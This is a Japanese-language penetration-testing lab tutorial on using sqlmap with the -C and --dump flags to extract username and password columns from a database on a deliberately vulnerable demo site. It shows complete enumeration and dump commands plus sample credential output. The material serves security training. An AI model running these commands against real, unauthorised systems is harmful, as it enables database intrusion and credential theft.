はじめに
この実験では、オープンソースのペネトレーションテストツールである sqlmap を使用して、SQL インジェクションの脆弱性を検出し悪用し、データベースサーバーを乗っ取るプロセスを自動化する方法を学びます。具体的には、既知のテーブル内の特定の列からデータをダンプする方法に焦点を当てます。これはペネトレーションテストやセキュリティ監査において一般的なタスクであり、テーブル全体をダンプするのではなく、必要な関連情報のみを抽出することができます。ターゲットのデータベース、テーブル、列を特定し、その後 sqlmap の -C フラグを使用して、データ抽出のために目的の列を指定する方法を練習します。
ターゲットのデータベース、テーブル、および列の特定
このステップでは、データをダンプしたいターゲットのデータベース、テーブル、および特定の列を特定する方法を学びます。データをダンプする前に、何を探しているのかを知る必要があります。実際のシナリオでは、この情報は通常、sqlmap を使用した事前の列挙ステップ(例:データベース、テーブル、列のリスト表示)を通じて収集されます。この実験では、以下の情報が既に特定されていると仮定します。
- ターゲット URL:
http://testphp.vulnweb.com/listproducts.php?cat=1(デモンストレーション目的で知られている脆弱な URL) - データベース:
acuart - テーブル:
users - 関心のある列:
uname(ユーザー名) およびpass(パスワード)
これらの詳細は、必要なデータのみを抽出するための正確な sqlmap コマンドを構築するために不可欠です。
初期列挙をシミュレートするために、以下のようなコマンドを実行した可能性があります(この実験では実行する必要はありません。ターゲットの詳細は提供されています)。
データベースをリスト表示するには:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
acuart データベース内のテーブルをリスト表示するには:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
acuart データベース内の users テーブルの列をリスト表示するには:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns
この実験では、上記の列挙が完了していると仮定して、特定の列のダンプに直接進みます。
ダンプする列を指定するための -C フラグの使用
このステップでは、sqlmap の -C フラグを使用して、ダンプしたい列を指定する方法を学びます。このフラグは、ターゲットを絞ったデータ抽出に不可欠であり、関連情報のみを取得し、不要なデータを避けることができます。
-C フラグの使用構文は簡単です。フラグの直後に、カンマ区切りの列名のリストを指定します。
例として、acuart データベースの users テーブルから uname (ユーザー名) 列と pass (パスワード) 列をダンプしたいとします。
-C フラグを組み込んだ sqlmap コマンドの一部は次のようになります。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass"
このコマンドの各コンポーネントを分解してみましょう。
-u "http://testphp.vulnweb.com/listproducts.php?cat=1": SQL インジェクションに対して脆弱なターゲット URL を指定します。-D acuart: データ抽出元のデータベース名 (acuart) を指定します。-T users:acuartデータベース内のテーブル名 (users) を指定します。-C "uname,pass": これが重要な部分です。sqlmapに対して、データダンプのためにuname列とpass列のみを考慮するように指示します。
このコマンドフラグメントは、データをダンプするにはまだ完全ではありませんが、目的の列を正しく指定する方法を示しています。次のステップでは、--dump フラグを追加して、実際のデータ抽出を開始します。
データダンプを開始するための --dump フラグの使用
このステップでは、sqlmap で実際のデータ抽出プロセスを開始するために使用される --dump フラグについて学びます。-C フラグが どの 列をダンプするかを指定するのに対し、--dump フラグは sqlmap にデータダンプ操作を 実行 するように指示します。
ターゲット URL、データベース、テーブル、および列の指定と組み合わせると、--dump フラグは sqlmap に指定された列からデータを取得して保存するように指示します。
acuart データベースの users テーブルから uname 列と pass 列をダンプするための完全な sqlmap コマンドは次のようになります。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump
完全なコマンドを確認しましょう。
-u "http://testphp.vulnweb.com/listproducts.php?cat=1": ターゲット URL。-D acuart: データベース名。-T users: テーブル名。-C "uname,pass": ダンプする特定の列。--dump: 実行するアクション – データのダンプ。
このコマンドは、指定された URL で SQL インジェクションの脆弱性を検索するように sqlmap に指示し、成功した場合は acuart データベース内の users テーブルの uname 列と pass 列からデータを抽出します。抽出されたデータは通常、sqlmap の出力ディレクトリ内の CSV ファイルに保存されます。
データダンプコマンドの実行
このステップでは、指定された列からデータをダンプするために、完全な sqlmap コマンドを実行します。これは、実際のデータ抽出シナリオをシミュレートします。
ターミナルを ~/project ディレクトリで開き、次のコマンドを実行してください。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump
期待される出力:
sqlmap はまず、SQL インジェクションの脆弱性を検出するためにさまざまなテストを実行します。成功した場合、データダンプに進みます。以下のような出力が表示されます(正確な出力は、sqlmap のバージョンやターゲットの応答によって異なる場合があります)。
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7#dev (r19000)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is a tool for professional penetration testers only.
[INFO] starting @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/
... (various detection and exploitation messages) ...
[INFO] fetching columns 'uname,pass' for table 'users' in database 'acuart'
[INFO] retrieved 10 entries
Database: acuart
Table: users
+----------+----------+
| uname | pass |
+----------+----------+
| test | test |
| admin | admin |
| john | doe |
| ... | ... |
+----------+----------+
[INFO] table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[INFO] finished @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/
データがダンプされた場所を示す行(例:table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv')に注意してください。このパスは次のステップで重要になります。
注意: sqlmap は、プロセス中にいくつかの質問をすることがあります(例:他のテストを続行するか、セッションを保存するかどうか)。この実験では、デフォルトを受け入れるために Enter を押すか、広範なテストをスキップするように求められた場合は n を押すことができます。
CSV 出力ファイル内のダンプされたデータの特定と確認
この最終ステップでは、sqlmap がダンプされたデータを保存した CSV ファイルを見つけ、その内容を確認します。sqlmap は、通常 ~/.local/share/sqlmap/output/ の下に、構造化されたディレクトリに出力を整理します。
前のステップの出力に基づいて、users.csv ファイルが保存されたディレクトリに移動してください。パスは /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/ に似ています。
まず、sqlmap の出力ディレクトリに移動しましょう。正確なパスは sqlmap のバージョンやターゲットによって若干異なる場合がありますが、一般的には ~/.local/share/sqlmap/output/<target_domain>/dump/<database_name>/ のパターンに従います。
私たちの例では、パスは /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/ である可能性が高いです。
ls コマンドを使用して、このディレクトリの内容を一覧表示します。
ls -l ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/
users.csv(およびその他のファイル)が一覧表示されているはずです。
次に、cat コマンドを使用して users.csv ファイルの内容を表示します。
cat ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv
期待される出力:
出力には uname 列と pass 列が表示され、各行は users テーブルのエントリを表します。
uname,pass
test,test
admin,admin
john,doe
...
これにより、sqlmap が指定された列のみを正常に抽出したことが確認され、ターゲットを絞ったデータダンプにおける -C フラグの効果が実証されます。
まとめ
この実験では、sqlmap を使用して特定のテーブル列からデータをダンプする方法を習得しました。まず、ターゲットのデータベース、テーブル、列を特定することの重要性を理解しました。次に、目的の列を指定するための -C フラグと、データ抽出を開始するための --dump フラグを使用して sqlmap コマンドを構築する練習をしました。最後に、コマンドを実行し、生成された CSV 出力ファイルでダンプされたデータを検証しました。このターゲットを絞ったアプローチは、ペネトレーションテストやセキュリティ評価中の効率的かつ正確なデータ取得に不可欠です。



